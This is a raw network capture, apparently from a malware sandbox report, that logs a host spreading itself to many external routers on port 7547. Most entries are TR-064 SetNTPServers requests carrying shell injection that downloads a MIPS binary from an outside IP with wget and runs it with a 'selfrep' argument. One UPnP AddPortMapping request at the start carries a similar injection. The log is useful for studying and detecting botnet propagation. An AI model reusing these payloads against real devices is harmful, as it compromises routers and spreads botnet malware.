4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.13	45602	59.17.129.113	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.531219959 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.13	38398	41.100.72.58	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.565917969 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.13	51904	78.134.22.36	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.566240072 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.13	50580	37.105.162.108	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.630789042 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:02.656435013 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:05.120425940 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.984424114 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:19.712435961 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:40.192436934 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.13	59226	184.13.54.25	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.759629965 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.13	45618	59.17.129.113	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.817017078 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.13	33248	119.216.204.195	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.861125946 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.13	58206	43.249.223.181	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.864825964 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:02.432461023 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:04.256541014 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:07.936430931 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:15.360438108 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:29.952430010 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.13	38420	41.100.72.58	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.887681007 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.13	38892	5.3.241.235	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.902523041 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:01.239805937 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:53:00 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Apr 15, 2024 08:53:02.924226046 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:53:00 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.13	51926	78.134.22.36	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.904149055 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.13	59242	184.13.54.25	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.988502979 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.13	50602	37.105.162.108	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.028681040 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:03.072429895 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:05.632575989 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:10.496448040 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:20.224426985 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:40.192419052 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.13	33262	119.216.204.195	7547

Timestamp	Bytes transferred	Direction	Data
